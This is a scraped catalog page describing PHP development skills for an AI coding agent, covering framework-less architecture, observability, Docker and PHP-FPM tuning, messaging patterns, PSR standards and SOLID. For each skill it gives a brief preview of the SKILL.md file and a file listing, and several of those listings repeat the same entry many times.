Framework-less PHP knowledge base. Provides pure PHP project architecture, DDD integration, PSR-7/PSR-15 HTTP, standalone persistence, DI containers, security (JWT lcobucci/jwt, RBAC middleware, password hashing, CSRF), event system (PSR-14, league/event, domain events, async processing), queue (enqueue/enqueue, php-amqplib, workers, supervisor), infrastructure components (PSR-6/16 cache, PSR-18 HTTP client, mailer, rate limiting), testing, and antipatterns for projects without a full framework.
What it loads into context
Frontmatter
130 tokensAlways available to the agent
SKILL.md
1,683 tokensWhen the skill is activated
Reference documents
27,689 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Core Principles
- Quick Checklists
- Common Violations Quick Reference
- PHP 8.4 No-Framework Patterns
- References
Files
SKILL.mdcore7,174 bytesSKILL.mdcore7,174 bytesSKILL.mdcore7,174 bytesSKILL.mdcore7,174 bytesreferences/antipatterns.mddoc16,975 bytesreferences/architecture.mddoc6,881 bytesreferences/ddd-integration.mddoc11,420 bytesreferences/dependency-injection.mddoc8,492 bytesreferences/event-system.mddoc13,413 bytesreferences/infrastructure-components.mddoc11,515 bytesreferences/persistence.mddoc8,740 bytesreferences/queue.mddoc9,712 bytesreferences/routing-http.mddoc9,811 bytesreferences/security.mddoc11,331 bytesreferences/testing.mddoc10,426 bytes
Read SKILL.md
# No-Framework PHP Knowledge Base
Quick reference for building framework-free PHP applications using PSR standards, standalone Composer packages, and Clean Architecture. Covers everything needed to run a production-grade project without Symfony, Laravel, or any full-stack framework.
## Core Principles
### PSR Compliance
| PSR | Purpose | Recommended Package |
|-----|---------|---------------------|
| PSR-4 | Autoloading | Composer autoloader |
| PSR-7 | HTTP Messages | `nyholm/psr7` or `guzzlehttp/psr7` |
| PSR-11 | Container Interface | `php-di/php-di` or `league/container` |
| PSR-15 | HTTP Handlers & Middleware | `relay/relay` or custom pipeline |View the complete source on GitHubobservability-knowledge
When your agent uses it
Observability knowledge base. Provides three pillars (logs, metrics, traces), structured logging, distributed tracing, metrics collection (RED/USE), SLI/SLO/SLA definitions for observability audits and generation.
What it loads into context
Frontmatter
51 tokensAlways available to the agent
SKILL.md
3,704 tokensWhen the skill is activated
Reference documents
6,324 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Three Pillars Overview
- Structured Logging
- Distributed Tracing
- Metrics
- SLI / SLO / SLA
- Quick Reference Tables
- Common Violations Quick Reference
- Detection Patterns
- References
Files
SKILL.mdcore16,270 bytesSKILL.mdcore16,270 bytesSKILL.mdcore16,270 bytesSKILL.mdcore16,270 bytesSKILL.mdcore16,270 bytesSKILL.mdcore16,270 bytesreferences/logging-patterns.mddoc7,657 bytesreferences/metrics-patterns.mddoc8,878 bytesreferences/tracing-patterns.mddoc11,005 bytes
Read SKILL.md
# Observability Knowledge Base
Quick reference for the three pillars of observability, instrumentation patterns, and SLI/SLO/SLA definitions in PHP applications.
## Three Pillars Overview
```
┌─────────────────────────────────────────────────────────────────────────────┐
│ THREE PILLARS OF OBSERVABILITY │
├─────────────────────────────────────────────────────────────────────────────┤
│ │
│ ┌──────────────────┐ ┌──────────────────┐ ┌──────────────────┐ │
│ │ LOGS │ │ METRICS │ │ TRACES │ │
│ │ │ │ │ │ │ │View the complete source on GitHuboptimize-docker-build-time
When your agent uses it
Optimizes Docker build time for PHP projects. Analyzes layer caching, BuildKit features, parallel builds, and dependency installation.
What it loads into context
Frontmatter
36 tokensAlways available to the agent
SKILL.md
1,861 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Build Time Breakdown
- Layer Ordering by Change Frequency
- BuildKit Cache Mounts
- Parallel Multi-Stage Builds
- .dockerignore to Reduce Context
- Pre-Built Base Images
- Registry Cache and Buildx
- Composer Install Optimization
- PHP Extensions: Virtual Build Deps
- APT-GET Combined Pattern
- Before/After Comparison
- Estimation Formulas
- Generation Instructions
Files
SKILL.mdcore7,245 bytesSKILL.mdcore7,245 bytesSKILL.mdcore7,245 bytesSKILL.mdcore7,245 bytesSKILL.mdcore7,245 bytes
Read SKILL.md
# Docker Build Time Optimization
Analyzes Dockerfiles and CI pipelines to minimize build time for PHP projects.
## Build Time Breakdown
```
┌─────────────────────────────────────────────────────────────────┐
│ TYPICAL PHP BUILD TIMELINE │
├─────────────────────────────────────────────────────────────────┤
│ Context upload: ████░░░░░░░░░░░░░░░░░░░░░░ 10s (5%) │
│ Base image pull: ████████░░░░░░░░░░░░░░░░░░ 30s (15%) │
│ System packages: ██████░░░░░░░░░░░░░░░░░░░░ 20s (10%) │
│ PHP extensions: ████████████░░░░░░░░░░░░░░ 60s (30%) │View the complete source on GitHuboptimize-docker-compose-resources
When your agent uses it
Optimizes Docker Compose resource allocation for PHP stacks. Configures memory limits, CPU constraints, and service scaling.
What it loads into context
Frontmatter
33 tokensAlways available to the agent
SKILL.md
1,570 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Resource Allocation Overview
- Recommended Resource Limits
- Service Configurations
- Logging Configuration
- tmpfs for Ephemeral Data
- shm_size for Databases
- ulimits Configuration
- Scaling with Replicas
- Before/After Comparison
- Generation Instructions
Files
SKILL.mdcore5,683 bytes
Read SKILL.md
# Docker Compose Resource Optimization
Configures resource allocation, constraints, and scaling for PHP application stacks.
## Resource Allocation Overview
```
┌─────────────────────────────────────────────────────────────────┐
│ PHP STACK RESOURCE DISTRIBUTION (4GB Host) │
├─────────────────────────────────────────────────────────────────┤
│ PHP-FPM: ████████████████████░░░░░░░░░░ 1024MB (25%) │
│ MySQL: ████████████████████████░░░░░░ 1536MB (38%) │
│ Redis: ████████░░░░░░░░░░░░░░░░░░░░░░ 512MB (13%) │
│ Nginx: ████░░░░░░░░░░░░░░░░░░░░░░░░░░ 256MB (6%) │View the complete source on GitHuboptimize-docker-image-size
When your agent uses it
Optimizes Docker image size for PHP projects. Reduces image footprint through Alpine, multi-stage builds, layer cleanup, and dependency minimization.
What it loads into context
Frontmatter
38 tokensAlways available to the agent
SKILL.md
1,672 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Image Size Anatomy
- Size Estimation by Component
- Alpine vs Debian
- Multi-Stage Builds: Production-Only Artifacts
- Build Dependencies Cleanup
- Composer Dependency Minimization
- Image Analysis Tools
- Specific Savings Per Technique
- Before/After Comparison
- Generation Instructions
Files
SKILL.mdcore6,471 bytesSKILL.mdcore6,471 bytes
Read SKILL.md
# Docker Image Size Optimization
Analyzes Docker images and provides actionable recommendations to reduce footprint for PHP projects.
## Image Size Anatomy
```
┌─────────────────────────────────────────────────────────────────┐
│ TYPICAL PHP IMAGE SIZE BREAKDOWN │
├─────────────────────────────────────────────────────────────────┤
│ Base OS (Debian): ████████████████████░░░░░ 150MB (33%) │
│ PHP runtime: ████████░░░░░░░░░░░░░░░░░ 50MB (11%) │
│ PHP extensions: ██████░░░░░░░░░░░░░░░░░░░ 40MB (9%) │
│ Build dependencies: ████████████░░░░░░░░░░░░░ 80MB (18%) │View the complete source on GitHuboptimize-docker-layers
When your agent uses it
Analyzes and optimizes Docker layer caching for PHP projects. Identifies layer ordering issues, cache invalidation problems, and provides recommendations for faster builds.
What it loads into context
Frontmatter
41 tokensAlways available to the agent
SKILL.md
2,303 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Layer Caching Principles
- Anti-Patterns and Fixes
- Optimization Checklist
- BuildKit Cache Mounts
- Multi-Stage Build Patterns
- CI Platform Caching
- Image Size Optimization
- Analysis Output Format
Files
SKILL.mdcore9,375 bytes
Read SKILL.md
# Docker Layer Optimization
Analyzes Dockerfiles and provides optimization recommendations for faster CI builds.
## Layer Caching Principles
```
┌─────────────────────────────────────────────────────────────────┐
│ DOCKER LAYER CACHE │
├─────────────────────────────────────────────────────────────────┤
│ │
│ Layer 1: FROM php:8.4-alpine ✓ Cached (base image) │
│ ↓ │
│ Layer 2: RUN apk add ... ✓ Cached (system deps) │View the complete source on GitHuboptimize-docker-opcache
When your agent uses it
Optimizes OPcache configuration for PHP Docker containers. Configures memory, file limits, JIT, and validation for production and development.
What it loads into context
Frontmatter
37 tokensAlways available to the agent
SKILL.md
1,672 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- OPcache Impact Overview
- Production vs Development Settings
- Memory Consumption Calculation
- max_accelerated_files Calculation
- JIT Configuration (PHP 8.0+)
- Preloading (PHP 7.4+)
- Monitoring OPcache
- Production OPcache INI
- Development OPcache INI
- Dockerfile Integration
- Before/After Comparison
- Generation Instructions
Files
SKILL.mdcore6,449 bytesSKILL.mdcore6,449 bytesSKILL.mdcore6,449 bytesSKILL.mdcore6,449 bytesSKILL.mdcore6,449 bytes
Read SKILL.md
# OPcache Configuration Optimization
Provides production and development OPcache tuning for PHP Docker containers, including JIT and preloading.
## OPcache Impact Overview
```
┌─────────────────────────────────────────────────────────────────┐
│ OPCACHE PERFORMANCE IMPACT │
├─────────────────────────────────────────────────────────────────┤
│ Without OPcache: │
│ Request → Parse → Compile → Execute → Response ~50ms │
│ With OPcache: │
│ Request → Execute (cached bytecode) → Response ~15ms │View the complete source on GitHuboptimize-docker-php-fpm
When your agent uses it
Optimizes PHP-FPM configuration in Docker containers. Tunes process manager, request handling, and resource allocation for production workloads.
What it loads into context
Frontmatter
36 tokensAlways available to the agent
SKILL.md
1,371 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Process Manager Modes
- Memory Calculation Formula
- Configuration by Workload
- Dynamic Mode Formulas
- pm.max_requests by Application Type
- Health Check and Monitoring
- Docker-Specific Settings
- Before/After Comparison
- Complete Production Configuration
- Generation Instructions
Files
SKILL.mdcore5,399 bytesSKILL.mdcore5,399 bytes
Read SKILL.md
# PHP-FPM Configuration Optimization
Provides production-ready PHP-FPM tuning for Docker containers based on workload type and available resources.
## Process Manager Modes
```
┌─────────────────────────────────────────────────────────────────┐
│ PHP-FPM PROCESS MANAGERS │
├─────────────────────────────────────────────────────────────────┤
│ STATIC: [W][W][W][W][W][W][W][W] Fixed pool │
│ Best for: dedicated containers, predictable load │
│ DYNAMIC: [W][W][W][W][ ][ ][ ][ ] Scales up/down │
│ Best for: variable load, shared resources │View the complete source on GitHuboptimize-docker-startup
When your agent uses it
Optimizes Docker container startup time for PHP applications. Reduces initialization overhead through preloading, caching, and entrypoint optimization.
What it loads into context
Frontmatter
35 tokensAlways available to the agent
SKILL.md
2,753 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Startup Time Breakdown
- OPcache Preloading for Startup
- Composer Autoloader Optimization
- Framework Cache Warmup
- Entrypoint Optimization
- Health Check Configuration
- Lazy Service Initialization
- Build-Time vs Runtime Init
- Optimized Dockerfile Pattern
- Before/After Startup Time Comparison
- Generation Instructions
Files
SKILL.mdcore10,696 bytesSKILL.mdcore10,696 bytesSKILL.mdcore10,696 bytesSKILL.mdcore10,696 bytesSKILL.mdcore10,696 bytesSKILL.mdcore10,696 bytesSKILL.mdcore10,696 bytesSKILL.mdcore10,696 bytesSKILL.mdcore10,696 bytesSKILL.mdcore10,696 bytesSKILL.mdcore10,696 bytesSKILL.mdcore10,696 bytesSKILL.mdcore10,696 bytesSKILL.mdcore10,696 bytesSKILL.mdcore10,696 bytesSKILL.mdcore10,696 bytesSKILL.mdcore10,696 bytesSKILL.mdcore10,696 bytesSKILL.mdcore10,696 bytesSKILL.mdcore10,696 bytesSKILL.mdcore10,696 bytesSKILL.mdcore10,696 bytesSKILL.mdcore10,696 bytesSKILL.mdcore10,696 bytesSKILL.mdcore10,696 bytesSKILL.mdcore10,696 bytes
Read SKILL.md
# Docker Container Startup Optimization
Reduces cold start and initialization time for PHP applications in Docker containers.
## Startup Time Breakdown
```
┌─────────────────────────────────────────────────────────────────┐
│ TYPICAL PHP CONTAINER STARTUP TIMELINE │
├─────────────────────────────────────────────────────────────────┤
│ │
│ Container create: ██░░░░░░░░░░░░░░░░░░░░░░░░ 0.5s (3%) │
│ Entrypoint script: ████████░░░░░░░░░░░░░░░░░░ 3.0s (20%) │
│ Migrations check: ██████░░░░░░░░░░░░░░░░░░░░ 2.0s (13%) │View the complete source on GitHuboutbox-pattern-knowledge
When your agent uses it
Outbox Pattern knowledge base. Provides patterns, antipatterns, and PHP-specific guidelines for transactional outbox, polling publisher, and reliable messaging audits.
What it loads into context
Frontmatter
40 tokensAlways available to the agent
SKILL.md
2,481 tokensWhen the skill is activated
Reference documents
8,659 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Core Principles
- Quick Checklists
- PHP 8.4 Outbox Patterns
- Common Violations Quick Reference
- Detection Patterns
- Database Schema Example
- References
- Assets
Files
SKILL.mdcore13,318 bytesSKILL.mdcore13,318 bytesSKILL.mdcore13,318 bytesSKILL.mdcore13,318 bytesSKILL.mdcore13,318 bytesSKILL.mdcore13,318 bytesSKILL.mdcore13,318 bytesSKILL.mdcore13,318 bytesassets/report-template.mddoc3,795 bytesreferences/antipatterns.mddoc7,669 bytesreferences/outbox-patterns.mddoc8,199 bytesreferences/php-specific.mddoc17,087 bytes
Read SKILL.md
# Outbox Pattern Knowledge Base
Quick reference for Transactional Outbox pattern and PHP implementation guidelines.
## Core Principles
### Transactional Outbox Overview
```
┌─────────────────────────────────────────────────────────────────────────┐
│ TRANSACTIONAL OUTBOX PATTERN │
├─────────────────────────────────────────────────────────────────────────┤
│ │
│ ┌──────────────────────────────────────────────────────────────────┐ │View the complete source on GitHubpsr-autoloading-knowledge
When your agent uses it
PSR-4 autoloading standard knowledge base for PHP 8.4 projects. Provides quick reference for namespace-to-path mapping, composer.json configuration, directory structure, and common mistakes. Use for autoloading audits and project structure reviews.
What it loads into context
Frontmatter
61 tokensAlways available to the agent
SKILL.md
2,304 tokensWhen the skill is activated
Reference documents
8,864 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Quick Reference
- Core Concept
- Namespace to Path Mapping
- Composer Configuration
- Directory Structure Examples
- Detection Patterns
- Common Mistakes
- Verification Commands
- PHP-CS-Fixer Rules
- Integration with DDD Layers
- See Also
Files
SKILL.mdcore8,873 bytesSKILL.mdcore8,873 bytesSKILL.mdcore8,873 bytesSKILL.mdcore8,873 bytesSKILL.mdcore8,873 bytesSKILL.mdcore8,873 bytesSKILL.mdcore8,873 bytesSKILL.mdcore8,873 bytesSKILL.mdcore8,873 bytesSKILL.mdcore8,873 bytesSKILL.mdcore8,873 bytesSKILL.mdcore8,873 bytesSKILL.mdcore8,873 bytesSKILL.mdcore8,873 bytesSKILL.mdcore8,873 bytesSKILL.mdcore8,873 bytesSKILL.mdcore8,873 bytesSKILL.mdcore8,873 bytesSKILL.mdcore8,873 bytesSKILL.mdcore8,873 bytesSKILL.mdcore8,873 bytesSKILL.mdcore8,873 bytesSKILL.mdcore8,873 bytesSKILL.mdcore8,873 bytesSKILL.mdcore8,873 bytesSKILL.mdcore8,873 bytesSKILL.mdcore8,873 bytesassets/report-template.mddoc3,542 bytesreferences/antipatterns.mddoc7,128 bytesreferences/composer-integration.mddoc6,352 bytesreferences/directory-structure.mddoc11,783 bytesreferences/psr-4-standard.mddoc5,428 bytes
Read SKILL.md
# PSR-4 Autoloading Knowledge
## Quick Reference
| Concept | Description |
|---------|-------------|
| **Namespace Prefix** | Maps to a base directory |
| **FQCN** | Fully Qualified Class Name |
| **Path Mapping** | Namespace → Directory → File |
## Core Concept
PSR-4 defines how to autoload classes from file paths based on their fully qualified class name.
View the complete source on GitHubpsr-coding-style-knowledge
When your agent uses it
PSR-1 and PSR-12 coding standards knowledge base for PHP 8.4 projects. Provides quick reference for basic coding standard and extended coding style with detection patterns, examples, and antipattern identification. Use for code style audits and compliance reviews.
What it loads into context
Frontmatter
64 tokensAlways available to the agent
SKILL.md
2,525 tokensWhen the skill is activated
Reference documents
9,818 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Quick Reference
- PSR-1: Basic Coding Standard
- PSR-12: Extended Coding Style
- Detection Patterns
- PHP_CodeSniffer Configuration
- PHP-CS-Fixer Configuration
- Antipatterns
- Integration with DDD
- See Also
Files
SKILL.mdcore9,368 bytesSKILL.mdcore9,368 bytesSKILL.mdcore9,368 bytesSKILL.mdcore9,368 bytesSKILL.mdcore9,368 bytesSKILL.mdcore9,368 bytesSKILL.mdcore9,368 bytesSKILL.mdcore9,368 bytesSKILL.mdcore9,368 bytesSKILL.mdcore9,368 bytesSKILL.mdcore9,368 bytesSKILL.mdcore9,368 bytesSKILL.mdcore9,368 bytesSKILL.mdcore9,368 bytesSKILL.mdcore9,368 bytesSKILL.mdcore9,368 bytesassets/report-template.mddoc3,718 bytesreferences/antipatterns.mddoc8,812 bytesreferences/detection-patterns.mddoc8,021 bytesreferences/psr-1-basic.mddoc5,512 bytesreferences/psr-12-extended.mddoc9,450 bytes
Read SKILL.md
# PSR Coding Style Knowledge (PSR-1, PSR-12)
## Quick Reference
| Standard | Focus | Key Rules |
|----------|-------|-----------|
| PSR-1 | Basic Standard | Files, namespaces, class names |
| PSR-12 | Extended Style | Formatting, keywords, visibility |
## PSR-1: Basic Coding Standard
### 1. Files
| Rule | Requirement |View the complete source on GitHubpsr-overview-knowledge
When your agent uses it
PHP Standards Recommendations (PSR) overview knowledge base. Provides comprehensive reference for all accepted PSRs including PSR-1,3,4,6,7,11,12,13,14,15,16,17,18,20. Use for PSR selection decisions and compliance audits.
What it loads into context
Frontmatter
72 tokensAlways available to the agent
SKILL.md
2,831 tokensWhen the skill is activated
Reference documents
9,522 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- What is PSR?
- Accepted PSRs Summary
- PSR Categories
- When to Use Each PSR
- PHP Package Implementations
- Composer Requirements
- Integration with DDD
- Compliance Checklist
- See Also
Files
SKILL.mdcore10,804 bytesSKILL.mdcore10,804 bytesSKILL.mdcore10,804 bytesSKILL.mdcore10,804 bytesSKILL.mdcore10,804 bytesSKILL.mdcore10,804 bytesSKILL.mdcore10,804 bytesassets/psr-selection-guide.mddoc5,444 bytesreferences/accepted-psrs.mddoc10,565 bytesreferences/compatibility.mddoc7,391 bytesreferences/php-fig-process.mddoc6,531 bytesreferences/when-to-use.mddoc5,440 bytes
Read SKILL.md
# PSR Overview Knowledge
## What is PSR?
PSR (PHP Standards Recommendations) are specifications published by the PHP Framework Interoperability Group (PHP-FIG). They establish common standards for PHP code to ensure interoperability between frameworks and libraries.
## Accepted PSRs Summary
| PSR | Name | Category | Status |
|-----|------|----------|--------|
| PSR-1 | Basic Coding Standard | Coding Style | Accepted |
| PSR-3 | Logger Interface | Logging | Accepted |
| PSR-4 | Autoloader | Autoloading | Accepted |
| PSR-6 | Caching Interface | Caching | Accepted |View the complete source on GitHubreadme-template
When your agent uses it
Generates README.md files for PHP projects. Creates structured documentation with badges, installation, usage, and examples.
What it loads into context
Frontmatter
29 tokensAlways available to the agent
SKILL.md
1,397 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Template Structure
- Badge Templates
- Section Templates
- Complete Example
- Quick Start
- Documentation
- Contributing
- Changelog
- License
Files
SKILL.mdcore5,579 bytesSKILL.mdcore5,579 bytesSKILL.mdcore5,579 bytesSKILL.mdcore5,579 bytesSKILL.mdcore5,579 bytesSKILL.mdcore5,579 bytesSKILL.mdcore5,579 bytesSKILL.mdcore5,579 bytes
Read SKILL.md
# README Template Generator
Generate professional README.md files for PHP projects.
## Template Structure
```markdown
# {Project Name}
{badges}
{one-line description}
## FeaturesView the complete source on GitHubreplication-sharding-knowledge
When your agent uses it
Replication and Sharding knowledge base. Provides read/write splitting at application level, connection wrapper patterns, replica lag handling, and query routing for database scaling audits.
What it loads into context
Frontmatter
42 tokensAlways available to the agent
SKILL.md
3,435 tokensWhen the skill is activated
Reference documents
3,155 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Master-Slave (Primary-Replica) Overview
- Connection Wrapper Pattern
- Query Routing Decision Tree
- Replica Lag Handling
- Transaction-Aware Routing
- Framework Integration Examples
- Quick Reference Tables
- Detection Patterns
- References
Files
SKILL.mdcore17,953 bytesSKILL.mdcore17,953 bytesSKILL.mdcore17,953 bytesSKILL.mdcore17,953 bytesSKILL.mdcore17,953 bytesSKILL.mdcore17,953 bytesSKILL.mdcore17,953 bytesSKILL.mdcore17,953 bytesSKILL.mdcore17,953 bytesreferences/read-write-patterns.mddoc13,810 bytes
Read SKILL.md
# Replication and Sharding Knowledge Base
Quick reference for application-level read/write splitting, connection routing, and replica lag handling in PHP applications.
## Master-Slave (Primary-Replica) Overview
```
┌─────────────────────────────────────────────────────────────────────┐
│ PRIMARY-REPLICA READ/WRITE SPLIT │
├─────────────────────────────────────────────────────────────────────┤
│ │
│ Application Layer │
│ │ │
│ ├── INSERT / UPDATE / DELETE ──▶ Primary (Master) │View the complete source on GitHubresolve-entry-point
When your agent uses it
Resolves HTTP routes (GET /api/orders) and console commands (app:process-payments) to their handler files. Detects framework, searches route/command definitions, extracts handler class and method, locates file via PSR-4 mapping.
What it loads into context
Frontmatter
59 tokensAlways available to the agent
SKILL.md
2,419 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Overview
- Input Types
- Resolution Process
- Output Format
- Multiple Matches
- Path Parameter Handling
- Integration
Files
SKILL.mdcore9,143 bytesSKILL.mdcore9,143 bytesSKILL.mdcore9,143 bytesSKILL.mdcore9,143 bytesSKILL.mdcore9,143 bytesSKILL.mdcore9,143 bytesSKILL.mdcore9,143 bytesSKILL.mdcore9,143 bytesSKILL.mdcore9,143 bytesSKILL.mdcore9,143 bytesSKILL.mdcore9,143 bytesSKILL.mdcore9,143 bytesSKILL.mdcore9,143 bytesSKILL.mdcore9,143 bytes
Read SKILL.md
# Entry Point Resolver
## Overview
Resolves user-provided HTTP routes or console commands to their handler file(s). Given a route like `POST /api/orders` or a command like `app:process-payments`, finds the exact handler class, method, file path, and surrounding context (middleware, route definition, schedule).
## Input Types
### HTTP Route
```
Pattern: ^(GET|POST|PUT|PATCH|DELETE|HEAD|OPTIONS)\s+/
Examples:
GET /api/ordersView the complete source on GitHubsaga-pattern-knowledge
When your agent uses it
Saga Pattern knowledge base. Provides patterns, antipatterns, and PHP-specific guidelines for saga orchestration, choreography, and distributed transaction audits.
What it loads into context
Frontmatter
37 tokensAlways available to the agent
SKILL.md
2,735 tokensWhen the skill is activated
Reference documents
13,428 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Core Principles
- Quick Checklists
- PHP 8.4 Saga Patterns
- Common Violations Quick Reference
- Detection Patterns
- Example: Order Saga
- References
- Assets
Files
SKILL.mdcore13,452 bytesSKILL.mdcore13,452 bytesSKILL.mdcore13,452 bytesSKILL.mdcore13,452 bytesSKILL.mdcore13,452 bytesSKILL.mdcore13,452 bytesSKILL.mdcore13,452 bytesSKILL.mdcore13,452 bytesassets/report-template.mddoc4,422 bytesreferences/antipatterns.mddoc9,413 bytesreferences/compensation.mddoc10,733 bytesreferences/php-specific.mddoc22,370 bytesreferences/saga-patterns.mddoc11,550 bytes
Read SKILL.md
# Saga Pattern Knowledge Base
Quick reference for Saga pattern and PHP implementation guidelines for distributed transactions.
## Core Principles
### Saga Pattern Overview
```
┌─────────────────────────────────────────────────────────────────────────┐
│ SAGA PATTERN │
├─────────────────────────────────────────────────────────────────────────┤
│ │
│ CHOREOGRAPHY (Event-driven) │View the complete source on GitHubscalability-knowledge
When your agent uses it
Scalability knowledge base. Provides vertical vs horizontal scaling, stateless design, session management, connection pooling, capacity planning, and PHP-FPM tuning for scalability audits.
What it loads into context
Frontmatter
41 tokensAlways available to the agent
SKILL.md
3,728 tokensWhen the skill is activated
Reference documents
5,003 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Vertical vs Horizontal Scaling
- Stateless vs Stateful: PHP Shared-Nothing Architecture
- Session Management
- Connection Pooling
- Capacity Planning
- PHP-FPM Scaling
- OPcache Preloading (PHP 8.4)
- Quick Reference Tables
- Detection Patterns
- References
Files
SKILL.mdcore17,983 bytesSKILL.mdcore17,983 bytesSKILL.mdcore17,983 bytesSKILL.mdcore17,983 bytesSKILL.mdcore17,983 bytesSKILL.mdcore17,983 bytesSKILL.mdcore17,983 bytesSKILL.mdcore17,983 bytesreferences/php-specifics.mddoc11,169 bytesreferences/scaling-patterns.mddoc11,227 bytes
Read SKILL.md
# Scalability Knowledge Base
Quick reference for scalability patterns, stateless design, PHP-FPM tuning, and capacity planning in PHP applications.
## Vertical vs Horizontal Scaling
| Aspect | Vertical (Scale Up) | Horizontal (Scale Out) |
|--------|---------------------|------------------------|
| Approach | Bigger server (CPU, RAM) | More servers |
| Cost curve | Exponential (diminishing returns) | Linear (commodity hardware) |
| Downtime | Often required for upgrade | Zero-downtime rolling deploys |
| Limit | Hardware ceiling | Theoretically unlimited |
| Complexity | Low (single server) | High (distributed system) |
| Data consistency | Simple (single node) | Requires distributed coordination |View the complete source on GitHubscan-codebase-structure
When your agent uses it
Scans directory tree to identify architectural layers (Domain, Application, Infrastructure, Presentation), detect framework (Symfony, Laravel, custom), count files per layer, and build project structure map.
What it loads into context
Frontmatter
47 tokensAlways available to the agent
SKILL.md
1,771 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Overview
- Scanning Process
- Output Format
- Key Indicators
- Integration
Files
SKILL.mdcore6,817 bytesSKILL.mdcore6,817 bytesSKILL.mdcore6,817 bytesSKILL.mdcore6,817 bytesSKILL.mdcore6,817 bytesSKILL.mdcore6,817 bytesSKILL.mdcore6,817 bytesSKILL.mdcore6,817 bytesSKILL.mdcore6,817 bytes
Read SKILL.md
# Codebase Structure Scanner
## Overview
Analyzes a directory tree to build a structured map of the project: identifies architectural layers, detects the framework in use, counts files per layer, and determines the overall project organization pattern.
## Scanning Process
### Step 1: Directory Tree Analysis
```bash
# Get top-level structure
Glob: "*" in target path
View the complete source on GitHubsolid-knowledge
When your agent uses it
SOLID principles knowledge base for PHP 8.4 projects. Provides quick reference for SRP, OCP, LSP, ISP, DIP with detection patterns, PHP examples, and antipattern identification. Use for architecture audits and code quality reviews.
What it loads into context
Frontmatter
58 tokensAlways available to the agent
SKILL.md
2,273 tokensWhen the skill is activated
Reference documents
14,198 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Overview
- Quick Detection Patterns
- PHP 8.4 Patterns
- SOLID & DDD Integration
- SOLID & Clean Architecture
- Severity Levels
- References
Files
SKILL.mdcore9,527 bytesSKILL.mdcore9,527 bytesSKILL.mdcore9,527 bytesSKILL.mdcore9,527 bytesSKILL.mdcore9,527 bytesSKILL.mdcore9,527 bytesSKILL.mdcore9,527 bytesSKILL.mdcore9,527 bytesSKILL.mdcore9,527 bytesSKILL.mdcore9,527 bytesSKILL.mdcore9,527 bytesassets/report-template.mddoc5,603 bytesreferences/antipatterns.mddoc10,763 bytesreferences/dip-patterns.mddoc11,742 bytesreferences/isp-patterns.mddoc9,772 bytesreferences/lsp-patterns.mddoc9,752 bytesreferences/ocp-patterns.mddoc9,695 bytesreferences/srp-patterns.mddoc6,140 bytes
Read SKILL.md
# SOLID Principles Knowledge Base
## Overview
SOLID is a set of five design principles for writing maintainable, extensible software.
| Principle | Name | Core Idea |
|-----------|------|-----------|
| **S** | Single Responsibility | One class = one reason to change |
| **O** | Open/Closed | Open for extension, closed for modification |
| **L** | Liskov Substitution | Subtypes must be substitutable for base types |
| **I** | Interface Segregation | Many specific interfaces > one general |
| **D** | Dependency Inversion | Depend on abstractions, not concretions |
View the complete source on GitHubstability-patterns-knowledge
When your agent uses it
Stability Patterns knowledge base. Provides patterns, antipatterns, and PHP-specific guidelines for Circuit Breaker, Retry, Rate Limiter, Bulkhead, and resilience audits.
What it loads into context
Frontmatter
44 tokensAlways available to the agent
SKILL.md
3,741 tokensWhen the skill is activated
Reference documents
13,429 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Core Patterns Overview
- Pattern Relationships
- Quick Reference
- PHP Implementation Patterns
- Common Violations Quick Reference
- Detection Patterns
- Configuration Guidelines
- Integration Points
- Advanced Resilience Patterns
- References
- Assets
Files
